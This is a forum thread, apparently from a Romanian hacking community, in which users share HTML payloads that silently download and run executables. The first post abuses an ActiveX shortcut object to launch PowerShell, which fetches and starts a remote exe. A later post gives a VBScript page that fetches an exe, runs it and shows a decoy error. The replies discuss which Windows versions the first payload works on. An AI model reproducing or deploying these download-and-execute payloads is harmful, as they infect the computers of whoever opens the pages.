geeko Posted April 8, 2015 Report Share Posted April 8, 2015 <HTML><TITLE>support</TITLE><HEAD></HEAD><BODY><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=",cmd.exe,/c powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.75/calc.exe','%TEMP%\calc.exe'); Start-Process '%TEMP%\calc.exe' ,"><PARAM name="Item2" value="273,1,1"></OBJECT><script>x.Click();</SCRIPT><A name=contents><H2 align=center>support</H2><P></A><H3 ALIGN=CENTER>support</H3><P></BODY> Quote Link to comment Share on other sites More sharing options...
aphex Posted April 8, 2015 Report Share Posted April 8, 2015 pe ce versiuni de win merge ? banuiesc ca trebuie sa ai powershell instalat! Quote Link to comment Share on other sites More sharing options...
geeko Posted April 8, 2015 Author Report Share Posted April 8, 2015 iti trebuie powershell , pe 7 stiu sigur restu inca nu e testat Quote Link to comment Share on other sites More sharing options...
scarcium Posted May 2, 2015 Report Share Posted May 2, 2015 <html><body><script type="text/vbscript">Function SimpleBinaryToString(Binary) Dim I, S For I = 1 To LenB(Binary) S = S & Chr(AscB(MidB(Binary, I, 1))) Next SimpleBinaryToString = SEnd FunctionSub dl(url, dst)dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")dim method: method = Chr(71) & Chr(69) & Chr(84)xmlhttp.Open method, url, Falsexmlhttp.SendDim i, objFileSet objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))objFile.Close()set xmlhttp = nothingset objFile = nothingEnd Subdim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"dim urlurl = "http:/www/Help.exe"dl url, dstCreateObject("WScript.Shell").Run dst</script><p>Unable to load.</p></body></html> Quote Link to comment Share on other sites More sharing options...
